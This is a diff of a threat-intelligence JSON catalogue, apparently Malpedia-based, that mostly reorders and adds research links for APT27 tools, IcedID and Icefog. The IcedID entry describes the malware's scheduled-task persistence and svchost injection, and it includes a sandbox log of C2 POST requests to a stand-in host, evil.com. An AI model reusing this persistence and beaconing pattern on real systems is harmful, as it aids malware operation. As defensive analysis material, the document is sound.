"https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", - "https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html", + "https://blog.sekoia.io/luckymouse-uses-a-backdoored-electron-app-to-target-macos/", + "https://www.trendmicro.com/en_us/research/22/h/irontiger-compromises-chat-app-Mimi-targets-windows-mac-linux-users.html", + "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/", "https://www.secureworks.com/research/threat-profiles/bronze-union", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/iron-tiger-compromises-chat-application-mimi,-targets-windows,-mac,-and-linux-users/IOCs-IronTiger-compromises-chat-application-mimi-targets-windows-mac-linux-users.txt", - "https://securelist.com/luckymouse-hits-national-data-center/86083/", - "https://www.bleepingcomputer.com/news/security/german-govt-warns-of-apt27-hackers-backdooring-business-networks/", - "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox", - "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", - "https://cyware.com/news/apt27-group-targets-german-organizations-with-hyperbro-2c43b7cf/", - "https://www.trendmicro.com/en_us/research/22/h/irontiger-compromises-chat-app-Mimi-targets-windows-mac-linux-users.html", - "https://blog.sekoia.io/luckymouse-uses-a-backdoored-electron-app-to-target-macos/", - "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/", - "http://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/", + "https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2022-01-bfv-cyber-brief.pdf?__blob=publicationFile&v=10", "https://www.tra.gov.ae/assets/mTP39Tp6.pdf.aspx", - "https://team-cymru.com/2020/03/25/how-the-iranian-cyber-security-agency-detects-emissary-panda-malware/", - "https://www.intrinsec.com/apt27-analysis/", - "https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", - "https://blog.team-cymru.com/2020/03/25/how-the-iranian-cyber-security-agency-detects-emissary-panda-malware/", + "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/", + "https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf", + "https://www.intrinsec.com/apt27-analysis/", + "https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel", + "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", + "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop", + "https://vblocalhost.com/uploads/VB2020-Shank-Piccolini.pdf", + "https://securelist.com/luckymouse-hits-national-data-center/86083/", + "https://www.mandiant.com/resources/blog/chinese-espionage-tactics", + "http://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/", + "https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox", "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop/", - "https://vblocalhost.com/uploads/VB2020-Shank-Piccolini.pdf", + "https://www.bleepingcomputer.com/news/security/german-govt-warns-of-apt27-hackers-backdooring-business-networks/", + "https://team-cymru.com/2020/03/25/how-the-iranian-cyber-security-agency-detects-emissary-panda-malware/", "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", - "https://www.verfassungsschutz.de/SharedDocs/publikationen/DE/cyberabwehr/2022-01-bfv-cyber-brief.pdf?__blob=publicationFile&v=10", - "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop", - "https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel" + "https://cyware.com/news/apt27-group-targets-german-organizations-with-hyperbro-2c43b7cf/", + "https://blog.team-cymru.com/2020/03/25/how-the-iranian-cyber-security-agency-detects-emissary-panda-malware/", + "https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html" ], "synonyms": [], "type": [] @@ -28391,18 +29736,19 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperssl", "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html", - "https://www.sstic.org/media/SSTIC2021/SSTIC-actes/Taking_Advantage_of_PE_Metadata_or_How_To_Complete/SSTIC2021-Article-Taking_Advantage_of_PE_Metadata_or_How_To_Complete_your_Favorite_Threat_Actor_Sample_Collection-lunghi.pdf", - "https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html", - "https://www.sstic.org/media/SSTIC2021/SSTIC-actes/Taking_Advantage_of_PE_Metadata_or_How_To_Complete/SSTIC2021-Slides-Taking_Advantage_of_PE_Metadata_or_How_To_Complete_your_Favorite_Threat_Actor_Sample_Collection-lunghi.pdf", - "https://www.tra.gov.ae/assets/mTP39Tp6.pdf.aspx", - "https://vblocalhost.com/uploads/VB2020-Shank-Piccolini.pdf", - "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", - "https://norfolkinfosec.com/emissary-panda-dll-backdoor/", "https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html", - "https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel", + "https://norfolkinfosec.com/emissary-panda-dll-backdoor/", + "https://vblocalhost.com/uploads/VB2020-Shank-Piccolini.pdf", + "https://www.mandiant.com/resources/blog/chinese-espionage-tactics", + "https://www.tra.gov.ae/assets/mTP39Tp6.pdf.aspx", + "https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf", + "https://www.sstic.org/media/SSTIC2021/SSTIC-actes/Taking_Advantage_of_PE_Metadata_or_How_To_Complete/SSTIC2021-Article-Taking_Advantage_of_PE_Metadata_or_How_To_Complete_your_Favorite_Threat_Actor_Sample_Collection-lunghi.pdf", "https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf", "https://twitter.com/ESETresearch/status/1594937054303236096", - "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + "https://www.sstic.org/media/SSTIC2021/SSTIC-actes/Taking_Advantage_of_PE_Metadata_or_How_To_Complete/SSTIC2021-Slides-Taking_Advantage_of_PE_Metadata_or_How_To_Complete_your_Favorite_Threat_Actor_Sample_Collection-lunghi.pdf", + "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", + "https://www.mandiant.com/resources/unc215-chinese-espionage-campaign-in-israel", + "https://www.fireeye.com/blog/threat-research/2021/08/unc215-chinese-espionage-campaign-in-israel.html" ], "synonyms": [ "FOCUSFJORD", @@ -28441,180 +29787,186 @@ "value": "Icarus" }, { - "description": "Analysis Observations:\r\n\r\n* It sets up persistence by creating a Scheduled Task with the following characteristics:\r\n * Name: Update\r\n * Trigger: At Log on\r\n * Action: %LocalAppData%\\$Example\\\\waroupada.exe /i\r\n * Conditions: Stop if the computer ceases to be idle.\r\n* The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.\r\n* The filename remained static during analysis.\r\n* The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it\r\n* If “/i” is not passed as an argument, it sets up persistence and waits for reboot.\r\n* If “/I” is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.\r\n* Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so:\r\n rundll32.exe kernel32,Sleep -s\r\n* Setup a local listener to proxy traffic on 127.0.0.1:50000\r\n\r\n**[Example Log from C2 Network Communication]**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] connect\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: POST /forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 HTTP/1.1\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Connection: close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Type: application/x-www-form-urlencoded\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Length: 196\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Host: evil.com\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: <(POSTDATA)>\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: POST data stored to: /var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: **Request URL: hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending fake file configured for extension 'php'.\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: HTTP/1.1 200 OK\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Type: text/html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Server: INetSim HTTPs Server\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Date: Mon, 19 Mar 2018 16:45:55 GMT\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Connection: Close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Length: 258\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] stat: 1 **method=POST url=hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11** sent=/var/lib/inetsim/http/fakefiles/sample.html postdata=/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2", + "description": "Analysis Observations:\r\n\r\n* It sets up persistence by creating a Scheduled Task with the following characteristics:\r\n * Name: Update\r\n * Trigger: At Log on\r\n * Action: %LocalAppData%\\$Example\\\\waroupada.exe /i\r\n * Conditions: Stop if the computer ceases to be idle.\r\n* The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.\r\n* The filename remained static during analysis.\r\n* The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it\r\n* If \u201c/i\u201d is not passed as an argument, it sets up persistence and waits for reboot.\r\n* If \u201c/I\u201d is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.\r\n* Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so:\r\n rundll32.exe kernel32,Sleep -s\r\n* Setup a local listener to proxy traffic on 127.0.0.1:50000\r\n\r\n**[Example Log from C2 Network Communication]**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] connect\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: POST /forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 HTTP/1.1\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Connection: close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Type: application/x-www-form-urlencoded\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Length: 196\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Host: evil.com\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: <(POSTDATA)>\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: POST data stored to: /var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: **Request URL: hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending fake file configured for extension 'php'.\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: HTTP/1.1 200 OK\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Type: text/html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Server: INetSim HTTPs Server\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Date: Mon, 19 Mar 2018 16:45:55 GMT\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Connection: Close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Length: 258\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] stat: 1 **method=POST url=hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11** sent=/var/lib/inetsim/http/fakefiles/sample.html postdata=/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid", - "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://unit42.paloaltonetworks.com/atoms/monsterlibra/", - "https://kienmanowar.wordpress.com/2020/08/16/manual-unpacking-icedid-write-up/", - "https://blogs.blackberry.com/en/2023/01/emotet-returns-with-new-methods-of-evasion", - "https://thedfirreport.com/2021/06/20/from-word-to-lateral-movement-in-1-hour/", - "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", - "https://drive.google.com/file/d/1jB0CsDvAADSrBeGxoi5gzyx8eQIiOJ2G/view", - "https://www.splunk.com/en_us/blog/security/detecting-icedid-could-it-be-a-trickbot-copycat.html", - "https://isc.sans.edu/diary/29740", - "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", - "https://www.team-cymru.com/post/inside-the-icedid-backconnect-protocol", - "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", - "https://github.com/f0wl/deICEr", - "https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/", - "https://www.proofpoint.com/us/blog/threat-insight/fork-ice-new-era-icedid", - "https://www.esentire.com/blog/conti-affiliate-exposed-new-domain-names-ip-addresses-and-email-addresses-uncovered-by-esentire", - "https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f", - 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"https://zero2auto.com/2020/06/22/unpacking-visual-basic-packers/", + "https://www.microsoft.com/security/blog/2021/04/09/investigating-a-unique-form-of-email-delivery-for-icedid-malware/", + "https://gist.github.com/psrok1/e6bf5851d674edda03a201e7f24a5e6b", + "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/", + "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", + "https://www.elastic.co/security-labs/icedids-network-infrastructure-is-alive-and-well", + "https://blogs.vmware.com/security/2021/07/hunting-icedid-and-unpacking-automation-with-qiling.html", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf", + "https://www.crowdstrike.com/blog/digging-into-bokbots-core-module/", + "https://www.trendmicro.com/en_ie/research/22/l/icedid-botnet-distributors-abuse-google-ppc-to-distribute-malware.html", + "https://4rchib4ld.github.io/blog/IcedIDOnMyNeckImTheCoolest/", + "https://www.binarydefense.com/icedid-gziploader-analysis/", + "https://thedfirreport.com/2022/04/25/quantum-ransomware/", + "https://www.uptycs.com/blog/icedid-campaign-spotted-being-spiced-with-excel-4-macros", + "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", + "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", + "https://www.bleepingcomputer.com/news/security/hackers-target-ukrainian-govt-with-icedid-malware-zimbra-exploits/", + "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes", + "https://forensicitguy.github.io/analyzing-icedid-document/", + "https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-one.html", + "https://blogs.blackberry.com/en/2023/01/emotet-returns-with-new-methods-of-evasion", + "https://cert.gov.ua/article/39609", + "https://www.elastic.co/security-labs/unpacking-icedid", + "https://netresec.com/?b=214d7ff", + "https://threatpost.com/exchange-servers-speared-in-icedid-phishing-campaign/179137/", + "https://nikpx.github.io/malware/analysis/2022/03/09/BokBot", + "https://www.silentpush.com/blog/malicious-infrastructure-as-a-service", + "https://blogs.vmware.com/security/2021/07/icedid-analysis-and-detection.html", + "https://www.vkremez.com/2018/09/lets-learn-deeper-dive-into.html", + "https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/", + "https://malwation.com/icedid-malware-technical-analysis-report/", + "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", + "https://www.secureworks.com/research/threat-profiles/gold-swathmore", + "https://research.loginsoft.com/threat-research/icedid-malware-traversing-through-its-various-incarnations/", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.group-ib.com/blog/icedid", + "https://www.trendmicro.com/en_us/research/21/j/ransomware-operators-found-using-new-franchise-business-model.html", + "https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise", + "https://www.bleepingcomputer.com/news/security/microsoft-exchange-targeted-for-icedid-reply-chain-hijacking-attacks/", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.splunk.com/en_us/blog/security/detecting-icedid-could-it-be-a-trickbot-copycat.html", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.cynet.com/attack-techniques-hands-on/shelob-moonlight-spinning-a-larger-web/", + "https://www.youtube.com/watch?v=YEqLIR6hfOM", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.ironnet.com/blog/ransomware-graphic-blog", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://blog.talosintelligence.com/2018/04/icedid-banking-trojan.html", + "https://blogs.juniper.net/en-us/threat-research/iceid-campaign-strikes-back", + "https://twitter.com/embee_research/status/1592067841154756610?s=20&t=hEALPAWr1LIt9pXcVpxjRQ", + "https://www.youtube.com/watch?v=7Dk7NkIbVqY", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/", + "https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f", + "https://threatresearch.ext.hp.com/detecting-ta551-domains/", + "https://twitter.com/felixw3000/status/1521816045769662468", + "https://github.com/Lastline-Inc/iocs-tools/tree/main/2021-07-IcedID-Part-2", + "https://blog.malwarebytes.com/threat-analysis/2019/12/new-version-of-icedid-trojan-uses-steganographic-payloads/", + "https://github.com/telekom-security/icedid_analysis", + "https://www.youtube.com/watch?v=wObF9n2UIAM", + "https://www.nri-secure.co.jp/blog/explaining-the-tendency-of-malware-icedid", + "https://aaqeel01.wordpress.com/2021/04/09/icedid-analysis/", + "https://www.trendmicro.com/en_us/research/21/d/a-spike-in-bazarcall-and-icedid-activity.html", + "https://isc.sans.edu/diary/29740", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", + "https://github.com/f0wl/deICEr", + "https://securelist.com/malicious-spam-campaigns-delivering-banking-trojans/102917", + "https://isc.sans.edu/diary/Google+ads+lead+to+fake+software+pages+pushing+IcedID+Bokbot/29344", + "https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot", + "https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/", + "https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/", + "https://thedfirreport.com/2021/06/20/from-word-to-lateral-movement-in-1-hour/", + "https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", + "https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution", + "https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders", + "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", + "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", + "https://intel471.com/blog/malvertising-surges-to-distribute-malware", + "https://isc.sans.edu/forums/diary/TA551+Shathak+pushes+IcedID+Bokbot/28092/", + "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://isc.sans.edu/diary/rss/28934", + "https://blog.nviso.eu/2023/03/20/icedids-vnc-backdoors-dark-cat-anubis-keyhole/", + "https://isc.sans.edu/diary/28636", + "https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-two.html", + "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", + "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", + "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", + "https://thedfirreport.com/2021/07/19/icedid-and-cobalt-strike-vs-antivirus/", + "https://thedfirreport.com/2023/05/22/icedid-macro-ends-in-nokoyawa-ransomware/", + "https://www.mimecast.com/globalassets/documents/whitepapers/taa551-treatresearch_final-1.15.21.pdf", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", + "https://kienmanowar.wordpress.com/2020/08/16/manual-unpacking-icedid-write-up/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://tccontre.blogspot.com/2021/01/", + "https://drive.google.com/file/d/1jB0CsDvAADSrBeGxoi5gzyx8eQIiOJ2G/view", + "https://labs.sentinelone.com/evasive-maneuvers-massive-icedid-campaign-aims-for-stealth-with-benign-macros/", + "https://securityintelligence.com/icedid-banking-trojan-spruces-up-injection-tactics-to-add-stealth/", + "https://www.intrinsec.com/emotet-returns-and-deploys-loaders/", + "https://www.youtube.com/watch?v=wMXD4Sv1Alw", + "https://matth.dmz42.org/posts/2022/automatically-unpacking-icedid-stage1-with-angr/", + "https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/", + "https://www.microsoft.com/security/blog/2020/12/09/edr-in-block-mode-stops-icedid-cold/", + "https://www.netresec.com/?page=Blog&month=2023-02&post=How-to-Identify-IcedID-Network-Traffic", + "https://www.youtube.com/watch?v=oZ4bwnjcXWg", + "https://github.com/0xThiebaut/PCAPeek/", + "https://www.silentpush.com/blog/icedid-command-and-control-infrastructure", + "https://www.team-cymru.com/post/a-visualizza-into-recent-icedid-campaigns", + "https://unit42.paloaltonetworks.com/atoms/monsterlibra/", "https://blog.minerva-labs.com/icedid-maas", - "https://blogs.juniper.net/en-us/threat-research/iceid-campaign-strikes-back" + "https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html", + "https://www.crowdstrike.com/blog/bokbots-man-in-the-browser-overview/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://www.proofpoint.com/us/blog/threat-insight/fork-ice-new-era-icedid", + "https://tccontre.blogspot.com/2020/08/learning-from-iceid-loader-including.html", + "https://unit42.paloaltonetworks.com/teasing-secrets-malware-configuration-parsing", + "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary", + "https://blog.cyberint.com/icedid-stealer-man-in-the-browser-banking-trojan", + "https://www.fortinet.com/blog/threat-research/deep-dive-icedid-malware-analysis-of-child-processes.html", + "https://twitter.com/embee_research/status/1592067841154756610?s=20", + "https://www.socinvestigation.com/icedid-banking-trojan-returns-with-new-ttps-detection-response/", + "https://www.team-cymru.com/post/from-chile-with-malware", + "https://twitter.com/Unit42_Intel/status/1645851799427874818", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", + "https://isc.sans.edu/forums/diary/How+the+Contact+Forms+campaign+tricks+people/28142/", + "https://www.netresec.com/?page=Blog&month=2022-10&post=IcedID-BackConnect-Protocol", + "https://www.first.org/resources/papers/amsterdam23/IcedID-FIRST-AMS-2023.pdf", + "https://dshield.org/diary/Recent+IcedID+Bokbot+activity/29740/", + "https://www.spreaker.com/user/16860719/proofpoint-e29-mix-v1", + "https://research.checkpoint.com/2021/melting-ice-tracking-icedid-servers-with-a-few-simple-steps/", + "https://unit42.paloaltonetworks.com/wireshark-quiz-icedid-answers/", + "https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf", + "https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine", + "https://blog.reconinfosec.com/an-encounter-with-ta551-shathak" ], "synonyms": [ "BokBot", @@ -28630,9 +29982,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid_downloader", - "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/", + "https://threatray.com/blog/a-new-icedid-gziploader-variant/", "http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/", - "https://threatray.com/blog/a-new-icedid-gziploader-variant/" + "https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/" ], "synonyms": [], "type": [] @@ -28645,11 +29997,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.icefog", - "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", "https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf", + "https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt", "https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf", "http://www.kz-cert.kz/page/502", - "https://speakerdeck.com/ashley920/into-the-fog-the-return-of-icefog-apt", + "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko" ], "synonyms": [ 